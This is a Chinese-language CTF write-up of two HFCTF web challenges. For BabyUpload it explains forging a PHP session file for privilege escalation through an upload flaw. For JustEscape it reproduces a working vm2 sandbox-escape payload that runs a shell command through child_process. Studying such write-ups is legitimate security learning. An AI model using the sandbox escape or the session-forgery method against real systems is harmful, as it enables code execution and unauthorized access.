HFCTF-WEB复现


周末的比赛,因为学校和实习的一些内容耽误了,也没去细看,这里把WEB题目会做的复现一下

WEB

BabyUpload

3道WEB中唯一一道PHP的题目,题目给了源码

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

首先看一下获取flag的条件,题目在一开头就给我们指出了

image.png-37.1kB

需要我们在SESSION中的username为admin,且在指定的文件夹下存在success.txt

下一步我们看一下题目我们可控的参数,这里的传输使用了filter_input函数,我们可以使用POST传输这些参数

image.png-73.9kB

首先分析一下direction参数,当传输为upload的时候,我们可以上传文件,根据file_path可以看出,我们上传的文件名是根据文件的摘要值进行sha256加密后存放在指定目录下,默认目录为/var/babyctf/,如果 attr 为 private 则把用户名继续拼接在目录的后面。同时我们上传的地址即为session文件默认存放地址,所以分析到此处,我们可以构造获取flag的思路,先通过上传伪造session文件,把我们的用户更改为admin,然后在指定目录下生成success.txt文件,即可获取flag。

先进行第一步,获取admin用户,先测试一下文件的下载功能,下载一下当前用户的session文件,session存储的文件形式为sess_PHPSESSID,

image.png-95.7kB

可以看到我们的用户身份为guest,下一步我们在本地生成一个admin用户的session文件,这个方法学习了赵总的WP,不愧是NSB-CEO。

我们可以通过session文件存储形式来判断服务器生成session文件的处理器为php_binary
,然后在本地构造代码

<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("./");
session_start();

$_SESSION['username'] = 'admin';

image.png-44.5kB

我为了方便找,就直接生成在当前目录下了,先修改一下名称为sess,然后再使用PHP代码生成文件的摘要值

image.png-126.9kB

然后上传我们构造的文件,使用up_file参数,这里就用POSTMAN了,比Burp方便一点

image.png-68.9kB

尝试读取一下我们上传的文件,文件名为sess_(文件的摘要值sha256),就是我们刚才生成的,构造读取

image.png-92.2kB

成功构造了admin用户的session文件,然后更新用户PHPSESSID为文件的sha256,即可获取到admin用户的权限,不过再这之前我们要构造在指定目录下生成success.txt,此时可以发现,检测当前目录下是否存在success.txt的函数为file_exists(),查看一下该函数特性

image.png-32kB

是同时检测文件和目录,那我们可以通过attr的参数生成一个success.txt的目录,同样可以绕过检测,尝试构造

image.png-36.1kB

之后替换cookie

image.png-203.4kB

成功获取flag,也就唯一一个能做的web了,剩下的js题目,边学习边做

JustEscape

拿到页面

image.png-39.8kB

给了一个run.php,不过经过测试的时候完全不是php,就想看看是不是python伪造的

image.png-44.6kB

不过再去尝试别的payload就没有正常回显了,然后看赵总的wp说是一个一个尝试,最后试出来是nodejs,学习了

image.png-9kB

这块后面的绕过就比较晦涩了,等学习node之后再写一遍比较详细的分析文章,这里直接用github上的exp了,绕过用数组,直接打过去

https://github.com/patriksimek/vm2/issues/225

try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
    }

image.png-87.8kB

获取一下flag

image.png-105.5kB

剩下的那道等一周后再做,这周把node的东西学习一下,开发不行的CTFer就是弟弟。


发表评论

邮箱地址不会被公开。 必填项已用*标注